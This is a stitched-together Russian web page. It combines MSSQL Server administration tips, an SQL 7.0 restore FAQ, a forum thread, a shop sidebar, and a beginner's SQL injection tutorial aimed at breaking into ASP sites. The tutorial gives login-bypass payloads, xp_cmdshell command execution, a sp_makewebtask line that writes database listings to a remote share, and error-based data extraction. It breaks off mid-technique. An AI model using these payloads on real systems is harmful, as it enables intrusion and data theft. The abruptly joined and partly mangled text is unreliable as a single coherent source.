    Дальше следует на постоянной основе обслуживать индексы и следить за их фрагментацией. В этом случае можно воспользоваться штатными средствами MSSQL Server (Создать план обслуживания – доступен для редакций Standart, Enterprise, но недоступен для редакции Express). Создать план обслуживания с необходимыми задачами по проверке целостности базы и реорганизации/перестроению индексов, там же назначить время и периодичность выполнения для данных задач.

    Также можно воспользоваться прекрасным средством – скриптами https://ola.hallengren.com/, получившими мировое признание и использующимися большинством DBA в своей повседневной работе по обслуживанию БД. Для этого необходимо:

    1. Скачать с официально сайта необходимый нам скрипт.

    2. После скачивания запустить его и выполнить в среде Management Studio. Скрипт инициализируется и создает несколько необходимых нам хранимых процедур.

    После этого нам остается настроить необходимые нам «джобы» (job – задание) и поставить в них время выполнения и периодичность, либо создать план обслуживания, в котором указать созданные джобы.

    Скрипты ola.hallengren.com позволяют автоматизировать процесс реорганизации/перестроения индексов. При этом при выполнении задания автоматически проверяется степень фрагментации индексов: если она составляет 15-30%, делается реорганизация; если больше 30%, то перестроение (при этом регулируется нагрузка на БД).

    Также с помощью уже других скриптов можно проверять целостность базы данных, а также настраивать автоматическое резервное копирование, что тоже очень полезно и просто необходимо. Все параметры можно гибко конфигурировать в самом скрипте.

    Ниже приведен небольшой пример создания задания.

    Создаем Job (задание) в MSSQL Server.

    Мы создали задание и написали скрипт для реорганизации/перестроения индексов.

    То же самое можно написать для проверки целостности базы данных.

    То же самое можно сделать и для резервного копирования. Примеры скриптов доступны на сайте ola.hallengren.com. После этого необходимо запустить задание, поставить для него время и периодичность выполнения, либо использовать план обслуживания, где выбирать созданные задания и сохранить их. Например, может быть использован следующий план, созданный с помощью плана обслуживания еженедельно по воскресеньям.

    3. Советы по тонкой настройке и оптимизации баз данных MSSQL Server

    В процессе установки экземпляра MSSQL Server необходимо устанавливать только те компоненты, которые действительно необходимы. Здесь можно действовать по принципу – чем меньше, тем лучше, недостающие компоненты всегда можно установить дополнительно.

    Путь к папке с экземпляром сервера требуется оставлять по умолчанию, как и место хранения системных баз данных (master, model, msdb). Например:

    С:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\DATA\

    где папка MSSQL14.SQLEXPRESS является папкой экземпляра сервера.

    Пользовательские базы данных необходимо переносить на другой диск. Хорошим тоном является создание 3 логических дисков, на каждом из которых помещается основной файл базы данных, на другом – файл журнала транзакций, на 3 – база данных tempDB.

    Если позволяют системные ресурсы, в идеальной ситуации файл базы данных, журнал транзакций и база данных tempDB должны находится на разных физических дисках для увеличения производительности.

    Для самого экземпляра MSSQL Server по возможности следует выделять отдельный сервер! Либо, если используется виртуализация, выделять отдельную виртуальную машину.

    У установленного экземпляра MSSQL Server в настройках сервера обычно задается предел Maximum server memory, а не оставляется динамическое значение по умолчанию. Например, если сервер выделен под экземпляр MSSQL Server и на нем установлено 32 Гб оперативной памяти, можно поставить фиксированное значение в 30 Гб и 2 Гб оставить под операционную систему с антивирусными программами.

    Также необходимо обязательно следить за тем, чтобы в настройках Базы данных была отключена опция Автоматического сжатия файла базы данных (Auto Shrink), которая может оказать серьезное воздействие на производительность базы в целом.

    Также необходимо контролировать лог журнала транзакций, который, в свою очередь, может оказывать воздействие на падение производительности. Когда размер журнала транзакций больше размера файла данных, это уже плохо и нужно предпринимать меры.

    Любой журнал транзакций содержит в себе файлы виртуальных журналов транзакций, так называемые VLF. Чем больше VLF, тем хуже для журнала транзакций. По «Best Practice» количество VLF не должно превышать 50. В случае, если журналы транзакций превышает 1000 и более VLF необходимо предпринимать меры для уменьшения и последующего поддержания виртуальных файлов журналов транзакций в норме, не допуская выхода за границы. Посмотреть текущее количество файлов виртуальных журналов транзакций можно командой DBCC LOGINFO.

    Причиной также может быть маленький размер автоприращения файла лога журнала транзакций, вследствие чего при записи данных в лог журнала транзакций создаются новые порции виртуальных журналов транзакций. Изменить размер автоприращения можно в свойствах базы данных на вкладке Файлы.

    Либо Transact SQL инструкциями:

    В данном случае задано приращение в 1 ГБ. Также приращения и размеры лучше задавать предельным значением, а не процентами.

    4. Работа со счетчиками производительности Performance Counter для выявления и устранения проблем, связанных с производительностью экземпляра сервера

    Одну из главных ролей стабильной работы MSSQL сервера является постоянный мониторинг и выявление причин падения производительности (performance degradation) и поиска узких мест (bottlenecks). В решении этих проблем помогают счетчики производительности Performance Counter (доступны по умолчанию в Windows). Счетчики производительности позволяют собирать информацию в виде графиков с историей хранения значений, позволяют отслеживать значения в режиме реального времени, а также смотреть историю значений, делать сопоставления, возвращаться к архивным данным. Для более удобной работы со счетчиками производительности можно использовать сторонние системы мониторинга, например, Zabbix.

    Стандартные счетчики Windows доступны по умолчанию и помогают отслеживать такие важные показатели, как загрузку процессора, использование памяти и загрузку дисковой системы, своевременно выявлять узкие места в работе сервера. При установке экземпляра MSSQL Server также добавляются специализированные счетчики MSSQL Server, необходимые для мониторинга самого MSSQL Server.

    Посмотрим на примере.

    Добавляем необходимые счетчики для отслеживания.

    В данном случае они выглядят так: системные + счетчики MSSQL Server. В идеальном случае нужно, чтобы счетчики отображались по-английски, все названия, рекомендованные значения – тоже представлены на английском языке. Русские названия могут вызвать путаницу.

    Ниже приведены «Best Practice» счетчиков производительности, которые были использованы для мониторинга систем:

    Свободная память в мегабайтах. Когда данный счетчик показывает значение меньше 200 Мегабайт, нужно задуматься о том, что есть проблемы с памятью.

    Avg.Disc sec/Read _Total

    Avg.Disc sec/Write _Total

    Счетчик производительности PhysicalDisk(_Total) \Avg. Disk sec/Read (Время в секундах, в среднем затрачиваемое на одну операцию чтения данных с диска. Показывает среднее время выполнения операции чтения с диска).

    Предельно допустимые значения не должны превышать 15-20 Миллисекунд.

    Счетчик производительности PhysicalDisk(_Total) \Avg. Disk sec/Write (Среднее время записи на диск в секундах — это время, в среднем затрачиваемое на одну операцию записи данных на диск).

    Предельно допустимые значения не должны превышать 15-20 Миллисекунд.

    %Processor Time _Total

    %Processor Time 0

    %Processor Time 1


    %Processor Time 2

    %Processor Time 3

    Среднее время загрузки процессора (как в общем, так и по ядрам в отдельности). Смотрим, на сколько загружен у нас процессор, и определяем, является ли он узким местом в работе всего сервера.

    SQLServer Buffer Manager

    Page life expectancy

    Buffer Cache Hit Ratio

    Счетчик производительности SQL Server: Buffer Manager: Buffer Cache hit ratio (Доля страниц, обнаруженных в буферном кэше без чтения с диска). Эталонное значение > 90 (опять же указывает на проблемы с памятью).

    Счетчик производительности SQL Server: Buffer Manager: Page life expectancy (указывает среднее время жизни страниц в буферном кэше). Чем больше, тем лучше. Предельное значение – 300. PLE именно тот счетчик, за которым надо следить, но его показания имеют смысл, если они падают значительно ниже нормы ( 2, может свидетельствовать о перегруженности процессора.

    Список основных счетчиков производительности и их рекомендованные значения можно посмотреть также на сайте Microsoft, либо в независимых источниках.

    После создания и запуска сборщика данных, следует собрать показания счетчиков, параллельно в системном мониторе можно просматривать отчеты по всем счетчикам, либо для лучшего наглядного представления перевести все на систему мониторинга – Zabbix.

    Еще одной особенностью и несомненным плюсом является то, что собранные метрики, находящие по пути c:\PerfLogs\Admin\MSSQL Collection\DESKTOP-F6195SA_20200802-000001\Счетчик производительности.blg, можно наложить на собранные трассировки MSSQL Server Profiler. Это дает возможность сопоставить запросы или хранимые процедуры с графической составляющей сборщика данных для понимания того, какие ресурсы использовались и с какой степенью загрузки при выполнении запроса или хранимой процедуры. Выглядит это следующим образом:

    FAQ по MS SQL 7.0

    Очень часто приходится отвечать на вопрос «как восстановить базу данных в MS SQL 7.0» c уточнением, что при попытке выполнения комманды RESTORE DATABASE сервер ругается так:

    Server: Msg 3156, Level 16, State 1
    The file ‘g:\MSSQL7\data\mydb_data.mdf’ cannot be used by RESTORE. Consider using the WITH MOVE option to identify a valid location for the file.

    Server: Msg 3158, Level 16, State 1
    Could not create one or more files. Consider using the WITH MOVE option to identify valid locations.

    Чтобы сэкономить время на написание писем, приведу решение.

    Собственно на решение прозрачно намекают в обоих сообщениях об ошибке. Возможная причина возникновения ошибки — backup (dump) достался по наследству, и имя_файла_в_операционной_системе сохранённое в заголовке бэкапа не может быть использовано. Например, если на сервере, на котором производился бэкап, файлы данных и логов были размещены на диске G:\, а на сервере, на котором производится восстановление БД такого диска нет и в помине.

    В приведённом ниже примере проводится восстановление БД myDB, файлы которой до бэкапа размещались на диске G:\, а после восстановления будут перемещены на диск D:\.

    Для начала надо выяснить логические имена файлов данных и логов. Если мучительно вспоминать их неохота, выполняем следующий запрос:

    в полученном резалтсете нас особенно интересует первая колонка:

    впрочем, если администратор БД, доставшейся по наследству, не использовал говорящих логических и физических имён для файлов данных и логов, нам пригодится третья колонка. D — файлы данных, L — файлы логов.

    Теперь используем эти имена для восстановления БД с использованием опции MOVE :

    Как видим, если знаешь что делать, ничего сложного нет 🙂

    Восстановление логинов пользователей базы данных.

    При выполнении команды RESTORE базы данных процесс восстановления данных и логов не может считаться заершённым, если не были восстановлены логины пользователей БД. Если операции backup/restore проводились на разных серверах, то связи пользователей БД с их логинами будут разорваны, и их нужно исправить. Для тех кто не хочет это делать при помощи Enterprise Manager, приведу простенький скрипт.

    Сначала определим пользователей ущемлённых в их правах:

    и в этом резалтсете нас будет интересовать первая колонка:

    Если резалтсет пустой, то администратор может считать процесс восстановления завершённым, если нет, то для каждой строки резалтсета (или для каждого ущемлённого пользователя, что одно и тоже) необходимо выполнить скрипт аналогичный следующему:

    И это ещё не всё. Если хранимая процедура sp_change_users_login не нашла соответствия старому логину, она создаст новый с пустым паролем (что в общем-то логично), поэтому

    Проверяем логин для пользователя dummy

    в резалтсете смотрим в третью колонку

    если логин новый, то меняем для него пароль:

    Повторяем операцию для каждого нового логина, и после этого идём спокойно пить пиво.

    FAQ по MS SQL 7.0

    Господа, подскажите пожалуйста что добавлено или убрано в MS-SQL 2000 по сравнению с MS-SQL 7.0?
    Существенны ли отличия? Может посоветуете адреса где можно про это почитать?
    Заранее благодарен.

    А что в инсталляхе нет никакого файла с «WHAT»S NEW»

    Неохота ставить MS-SQL 2000, так как потом плохо будет работать MS-SQL 7.0

    Много, скажу лишь то что каснулось меня (хорошего)
    1. Пользовательские функции
    2. Динамический SQL (хотя он и в семёрке есть)
    3. тип переменных table (возможности как у временной таблицы, но работать приятно)
    4. тип sql_variant (щё не знаю гдебы его использовать по уму, но потенциал есть)
    5. путёвый отладчик хранимых процедур
    6. возможность на одной машине ставить несколько серверов

    Они могут прикрасно работать оба только 2000 надо не Default ставить

    Да, но почему-то EnterpriseManager будет сильно тормозить.
    А какие могут быть глюки при переходе существующего приложения с 7 на 2000?

    Чесно говоря, я столь хлебнул переводя с 65 на 70, что перевод 70 на 2000 показался просто незаметным. При установке MSSQ80 вторым сервером не смотря на заметное торможение (не только EnterpriseManager, но и всего сервака в целом) есть возможность разными путями выгружать данные из семёрки и делается это сколько хочешь раз, то есть можно отлаживать переход

    Тип table конечно хорошо и отладчик ХП конечно хорошо, но если всё будет тормозить, то зачем всё это нужно.
    Кстати а что подразумевается под Пользовательскими функциями?

    Сам 80 работает быстрее семмерки на тех же мощностях при средней и большой загруженности простые запросы выполняются так же. Оптимизатор поумней. Но «невооруженным глазом этого не видно», а вот про джойне 15 таблиц различие очень существенное

    Пользовательская функция — это самое приятное, фактически то же что и SP только вызывать можно в теле запроса, «не по щелчку пальцев а по нужде»
    позволяет писать расширенные аггр — функции скажем не просто min(), а min — с каким-нибудь специфическим вывертом

    Всем ОГРОМНОЕ Спасибо, а особенно neXt.
    Попробую поставить и разобраться.

    Извините ещё раз,
    а где в MSSQL2000 находится отладчик ХП.

    в QueryAnalyzer, работает он там «не с первой попытки» но он там есть

    А еще там есть индексированные представления.

    да есть, но положа руку на серде. ?

    Извините ещё раз,
    а где в MSSQL2000 находится отладчик ХП.

    🙂 простите . отладчик windows XP Это было б КРУТО!
    еще раз простите за спорную шутку.

    > neXt. А почему нельзя ставить Default. И ещё, подскажите эта штука платная или нет. Если нет, то где мона скачать, чтоб на 2000 Server можно было поставить.
    Спасибо

    А когда это у MS что-то «на шару» было?

    Microsoft SQL Server — вопросы и ответы

    MS SQL Server администрирование.


    Вопрос:
    На локальном SQL Server 7.0 физические файлы нескольких БД хранятся в каталоге D:\MSSQL7\DATA\. БД разрастаются, на диске начинает не хватать свободного места. Как переместить файлы одной или нескольких БД на другой физический диск (например, в E:\DATA\)?

    Ответ:
    Допустим, необходимо переместить файлы БД DemoXMB, данные хранятся в файле DemoXMB_Data.MDF, журнал транзакций в DemoXMB_Log.LDF .
    Нужно выполнить следующую последовательность действий:
    1. Отсоединить файлы БД, выполнив ХП sp_detach_db :
    sp_detach_db ‘DemoXMB’
    2. Переместить файлы DemoXMB_Data.MDF и DemoXMB_Log.LDF в каталог E:\DATA;
    3. Присоединить файлы к БД, выполнив ХП sp_attach_db :
    sp_attach_db @dbname = ‘DemoXMB’,
    @filename1 = ‘E:\Data\DemoXMB_Data.MDF’,
    @filename2 = ‘E:\Data\DemoXMB_Log.LDF’

    Вопрос:
    Иногда возникает ситуация, когда для пользователя в БД нет соответвующего login на сервере. Через Enterprise Manager такие пользователи не видны. Как увидеть всех список этих пользователей?

    Ответ:
    Используйте ХП sp_change_users_login с типом действия «Report»:
    EXEC sp_change_users_login ‘Report’
    и она покажет все потерянные записи пользователей БД.

    Вопрос:
    Иногда переменная @@SERVERNAME возвращает значение NULL. В чем проблема и как это исправить?

    Ответ:
    Скорее всего в таблице master.dbo.sysservers нет записи о текущем сервере. Почему это происходит — не известно. Решить проблему можно выполнив запрос:
    sp_addserver @server = , @local = ‘LOCAL’

    Вопрос:
    Пришлось переустановить SQL SERVER 7.0. Backup-ов БД нет, но остались файлы БД. Можно ли их подключить?

    Ответ:
    Если есть только *.MDF файл, то можно воспользоваться ХП «sp_attach_single_file_db»
    Например:
    use master
    EXEC sp_attach_single_file_db @dbname = ‘DemoXMB’,
    @physname = ‘c:\mssql7\data\DemoXMB_Dat.mdf’
    В этом случае, создастся файл DemoXMB_Log.ldf в том же каталоге размером 1MB и авторасширением.
    Если есть *.MDF и *.LDF-файлы, или данные хранятся более чем в одном физическом файле (общее количество подключаемых физических файлов не должно превышать 16-ти), то следует использовать ХП «sp_attach_db»
    Например:
    use master
    EXEC sp_attach_db @dbname = ‘DemoXMB’,
    @filename1 = ‘c:\mssql7\data\DemoXMB_Dat.mdf’,
    @filename1 = ‘c:\mssql7\data\DemoXMB_Log.ldf’
    Для подключения более 16-ти физических файлов к БД следует использовать команду:
    CREATE DATABASE FOR ATTACH

    Вопрос:
    На MS SQL 6.5 иногда для базы данных показывает, что свободное место как в данных (Data Space Available), так и в логе отсутствует (Log Space Available), т.е. равно 0.0 MB. При этом что Recalculate (пересчет) и Truncate (усечение лога) не дают никаких результатов. Что нужно сделать в данном случае?

    Ответ:
    Нужно в ISQL\w на этой БД выполнить команду «dbcc checktable (syslogs)». Потом в окне редактирования базы данных(Edit Database) сделать Truncate (усечение лога) и Recalculate (пересчет).

    Вопрос:
    При установке MSSQLServer программа установки сообщает что доступное свободное место 2147483 К. Хотя на самом деле места в несколько раз больше (8Г). Почему?

    Ответ:
    Это ошибка в программе установки MSSQLServer. Не обращайте внимания.

    Вопрос:
    После установки MS SQL Server 2000 все его утилиты работают нормально, кроме Books Online. При запуске выдается сообщение об ошибке «Не могу окрыть файл sql80.col»

    Ответ:
    Нужно удалить все файлы hh.dat и hhcolreg.dat на компьютере. А затем переустановить Books Online.

    Вопрос:
    При смене владельца БД при выполнении команды ‘sp_changedbowner sadev’ выдается сообщение об ошибке Msg 15110 ‘»The proposed new database owner is already a user in the database.’. Что сделать чтобы сменить владельца БД?

    Ответ:
    Дело в том что в БД уже существует пользователь связанный с логином sadev. Необходимо удалить этого пользователя из БД и повторить операцию по изменению владельца БД.

    Вопрос:
    При установке MS SQL Server 2000 при выборе сетевых библиотек, почему-то не доступна Multi-Protokol, но доступна библиотека IPX ?

    Ответ:
    Скорее всего на машине стоит уже SQL 7.0. с установленной сетевой библиотекой Multi-Protokol, поэтому его не дает установить заново, видимо в версии SQL 2000 она не изменилась, тогда как сетевая библиотека IPX изменилась.

    Вопрос:
    Требуется все таблицы одного владельца (owner) передать другому. Как это можно сделать?

    Ответ:
    Лучше всего воспользоваться курсором для организации вызова ХП sp_changeobjectowner
    — Объявим переменные
    declare @ObjName varchar(255), @Str varchar(255),
    @OldOwnerName varchar(255), @NewOwnerName varchar(255)
    — Зададим имена старого и нового владельцев
    select @OldOwnerName=’Старый владелец’,
    @NewOwnerName=’Новый владелец’
    — Объявим курсор для прохождения по всем объектам старого владельца
    declare Crs_DelObj insensitive scroll cursor for
    select so.name
    from sysobjects so, sysusers su
    where so.u > and su.name = @OldOwnerName
    and so.type in (‘V’, ‘U’, ‘P’)
    — пойдем по курсору и будем менять владельцев
    open Crs_DelObj
    fetch first from Crs_DelObj into @ObjName
    while @@fetch_status<>-1
    begin
    if @@fetch_status<>-2
    begin
    select @Str=ltrim(rtrim(@OldOwnerName))+».»+ltrim(rtrim(@ObjName))
    — меняем владельца
    exec («exec sp_changeobjectowner ‘»+@Str+»‘, ‘»+@NewOwnerName+»‘»)
    end
    fetch next from Crs_DelObj into @ObjName
    end
    go
    close Crs_DelObj
    go
    deallocate Crs_DelObj
    go

    Вопрос:
    Как переименовать базу данных?

    Ответ:
    Нужно обладать правами администратора или владельца базы данных, перевести БД в однопользовательский режим, выполнить хранимую процедуру:
    sp_renamedb ‘ ‘, ‘ ‘
    После этого БД можно перевести в многопользовательский режим.

    Вопрос:
    Как изменить владельца таблицы, ХП и т.д.?

    Ответ:
    Для изменения владельца БД, необходимо выполнить хранимую процедуру:
    sp_changeobjectowner @objname = , @newowner = ‘имя нового владельца’
    подключившись при этом к нужной БД.

    Вопрос:
    Как установить на компьютер одновременно клиентские части трех версий MS SQL Server (6.5, 7.0, 8.0 — 2000)?

    Ответ:
    Устанавливаете как обычно клиентскую часть версии 6.5, затем в другой каталог — версии 7.0, затем в другой каталог — версии 8.0 (2000). Версия 8.0 полностью заменяет утилиты версии 7.0 и они все успешно работают и с 7-ой версией SQL сервера, однако Profiler версии 8.0 с серверами версии 7.0 работать отказывается. Поэтому в каталоге, куда устанавливали клиентскую часть версии 7.0, нужно заменить файл sqltrace.exe (год его создания 2000) на файл sqltrace.exe, предварительно взятый отсюда же и сохраненный временно в другом месте (год его создания 1998).

    Вопрос:
    Как в Query Analyzer’е задать БД по умолчанию, чтобы при загрузке Query Analyzer’а каждый раз не выбирать БД?

    Ответ:
    Query Analazer всегда подставляет базу данных, которая определена по умолчанию для данного пользователя MS SQL Server. Для того чтобы изменить БД по умолчанию обратитесь к администратору MS SQL Server, который установит нужную БД по умолчанию для нужного пользователя MS SQL Server.
    Или для своего логина вы можете сами изменить БД по умолчанию. Для этого в Query Analyzer выполните ХП sp_defaultdb, которая имеет два параметра:
    @loginname — имя логина
    @defdb — новая БД по умолчанию

    Вопрос:
    При генерации скриптов при вставке сообщений об ошибках выдается ошибка:
    Server: Msg 15279, Level 16, State 1, Procedure sp_addmessage, Line 92
    You must add the us_english version of this message before you can add the ‘русский’ version.

    Ответ:
    В Query Analizer заходим в Configure Query Analizer (пункт меню File/Configure), на закладке New conections в разделе Regional settings в опции Change the language of SQL Server system message to: должно стоять Default или English.

    Вопрос:
    Проблема. Какой-то пользователь внес изменения в справочник, которые имели нехорошие последствия. Конечно все говорят что ничего не делали. Можно ли как-то найти кто и когда это сотворил.

    Ответ:
    Сам SQL Server не ведет протокол действий пользователей. Все что у него есть — это журнал транзакций, но он используется только для восстановления данных на определенное время, а вот вытащить из него информацию о том, когда была сделана та или иная транзакция — нельзя. Поэтому единственный выход — протокол действий пользователя должно вести прикладное ПО. Это можно реализовать как на клиентской стороне, так и на серверной (с помощью триггеров на изменение таблиц).

    Вопрос:
    При восстановлении базы данных из BackUp’а на SQL Server 7.0. возникает ошибка:
    «Microsoft SQL-DMO (ODBC SQLState:42000)
    The backup set holds a backup of a database other than
    the existing XB310XMB database.
    Backup or restore operation terminating abnormally.»
    С чем это связано и как можно решить проблему ?

    Ответ:
    Дело в том, что база в которую восстановливают и база в резервной копии (backup) имееют одно название, но созданы по разному (вызов инструкции CREATE DATABASE с разными параметрами). Т.е. фактически это разные базы данных.
    Возможно несколько вариантов решения проблемы:
    1. Восстановите резервную копию используя опцию REPLACE инструкции RESTORE. (установка флажка на поле «Force restore over existing database» на закладке «Options» в окне диалога «Restore database»)
    2. Восстановите резервную копию на БД с другим именем. В данном случаи нужно чтобы вновь создоваемые файлы не существовали и не использовались другой БД.
    3. Если у Вас неверная резервная копия, то заново создайте резервную копию с существующей базы данных и восстановить ее.

    Вопрос:
    В Enterprise Manager настраиваю резервное копирование базы данных (меню Tools -> Backup database…) под Win2000 Server на диск в заданный файл. При инициализации устройства все просходит нормально, и в последующих случаях ручное резервирование тоже проходит успешно, база накапливается. Но не могу задать расписание для резервного копирования — почему-то не сохраняются данные в свойствах базы, связанные с копированием. Пробовал создать DBMaintainer Plan с той же целью, но опять же график планирования не работает. В чем проблема, как это делают другие?

    Ответ:
    При задании параметров планового резервирования базы данных (флажок Schedule), происходит создание нового задания (job), которое можно посмотреть через Enterprise Manager (Management -> SQL Server Agent -> Jobs). При этом действительно «. данные в свойствах базы, связанные с плановым резервированием. » не сохраняются (по понятным причинам — быть может Вы создадите несколько расписаний с разными параметрами архивации). А флажок Schedule предназначен для облегчения задания расписания резервного копирования.
    Тоже самое касается и DBMaintainer Plan.

    Вопрос:
    При выполнении резервного копирования БД (операция backup) в конкретный файл возникает ошибка: «BackupMedium::ReportIoError: write failure on backup device ‘D:\MSSQL7\BACKUP\unpxmb.dat’. Operating system error 112(error not found).» Что она означает и как с ней бороться ?

    Ответ:
    Эта ошибка значит, что на диске, на котором создается резервная копия БД, нет свободного места для полного бакапа БД. Operating system error 112 — означает системную ошибку «Недостаточно места на диске» операционных систем WinNT, Win2000.

    Вопрос:
    Как отобрать у пользователя возможность перехватывать Trace (с помощью утилиты Profiler или аналогичной)?

    Ответ:
    Отбирать не надо — лучше их не давать изначально, т.е. не создавать пользователей в БД master или, по крайней мере, не давать права на запуск Extendet Stored Procedures xp_trace*.

    Вопрос:
    При выполнении ХП процедуры MBReindexTbl возникла ошибка Msg.1105 «Can’t allocate space for object 6754 in database DemoXMB because the 554 segment is full. If you ran out of space in Syslogs, dump the transaction log. Otherwise, use ALTER DATABASE or sp_extendsegment to increase the size of the segment.». Как ее исправить ?

    Ответ:
    Эта ошибка происходит, когда MS SQL Server не может распределить пространство для базы данных. ID объекта, присутсвующее в тексте сообщения указывает, какое пространство не может быть распределено:
    • если ID объекта не равно 8, MS SQL Server не может распределить пространство для данных.
    • если ID объекта равно 8, MS SQL Server не может распределить пространство для журнала транзакций.
    Чтобы исправить эту ошибку нужно увеличить место для данных или журнала транзакций базы данных, в зависимости от ID объекта, указанного в сообщении.

    16.11.2005, 18:38 [включить плавающее окно] #3
    Популярные статьи
    Информационная безопасность Microsoft Офисное ПО Антивирусное ПО и защита от спама Eset Software


    Бестселлеры
    Курсы обучения «Atlassian JIRA — система управления проектами и задачами на предприятии»
    Microsoft Office 365 для Дома 32-bit/x64. 5 ПК/Mac + 5 Планшетов + 5 Телефонов. Подписка на 1 год. Электронный ключ
    Microsoft Windows 10 Профессиональная 32-bit/64-bit. Все языки. Электронный ключ
    Microsoft Office для Дома и Учебы 2020. Все языки. Электронный ключ
    Курс «Oracle. Программирование на SQL и PL/SQL»
    Курс «Основы TOGAF® 9»
    Microsoft Windows Professional 10 Sngl OLP 1 License No Level Legalization GetGenuine wCOA (FQC-09481)
    Microsoft Office 365 Персональный 32-bit/x64. 1 ПК/MAC + 1 Планшет + 1 Телефон. Все языки. Подписка на 1 год. Электронный ключ
    Windows Server 2020 Standard
    Курс «Нотация BPMN 2.0. Ее использование для моделирования бизнес-процессов и их регламентации»
    Антивирус ESET NOD32 Antivirus Business Edition
    Corel CorelDRAW Home & Student Suite X8

    О нас
    Интернет-магазин ITShop.ru предлагает широкий спектр услуг информационных технологий и ПО.

    На протяжении многих лет интернет-магазин предлагает товары и услуги, ориентированные на бизнес-пользователей и специалистов по информационным технологиям.

    Хорошие отзывы постоянных клиентов и высокий уровень специалистов позволяет получить наивысший результат при совместной работе.

    SQL Injection для чайников, взлом ASP+MSSQL

    Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.

    Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

    Введение

    Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection — один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

    Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

    1.1 Что такое SQL Injection?


    SQL Injection — метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

    2.0 Что мы должны искать

    Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг «FORM» в исходном коде HTML страниц. Вы найдете, что-то типа такого:

    Все параметры между потенциально могут быть уязвимы к введению SQL кода.

    2.1 Что если вы не нашли страницу, которая использует ввод?

    Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

    в поле имя пользователя или пароль, или даже в URL параметре. Пример:

    Login: hi’ or 1=1—
    Pass: hi’ or 1=1—
    http://duck/index.asp? > Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

    Если удача на вашей стороне, вы войдете в систему без имени или пароля.

    3.1 Но почему ‘ or 1=1—?

    Давайте рассмотрим другой пример, который объясняет полезность конструкции ‘ or 1=1— . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

    В URL, ‘category’ – это имя переменной, и ‘food’ – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

    v_cat = request(«category»)
    sqlstr=»SELECT * FROM product WHERE PCategory='» & v_cat & «‘»
    set rs=conn.execute(sqlstr)

    как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

    SELECT * FROM product WHERE PCategory=’food’

    Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае ‘food’. Теперь изменим URL следующим образом:

    http://duck/index.asp?category=food’ or 1=1—
    SELECT * FROM product WHERE PCategory=’food’ or 1=1—‘

    Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен ‘food’ или нет. Двойная черточка «-» сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой (‘). Иногда можно заменить двойную черточку на диез «#».

    Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

    Теперь SQL запрос станет:

    SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

    Этот запрос возвратит тот же самый результат.

    В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

    4.0 Как можно удаленно выполнять команды, используя SQL injection?

    Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

    ‘; exec master..xp_cmdshell ‘ping 10.10.1.2’ —

    Попробуйте использовать двойные кавычки («), если (‘) не срабатывает.

    Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

    http://securitylab.ru/? > Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

    5.0 Как получить результаты моего SQL запроса?

    Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

    ‘; EXEC master..sp_makewebtask «\\10.10.1.3\share\output.html», «SELECT * FROM INFORMATION_SCHEMA.TABLES»

    Указываемый IP должен иметь папку «share» с доступом для Everyone.

    6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

    Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

    Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

    http://duck/index.asp? > Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

    Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—

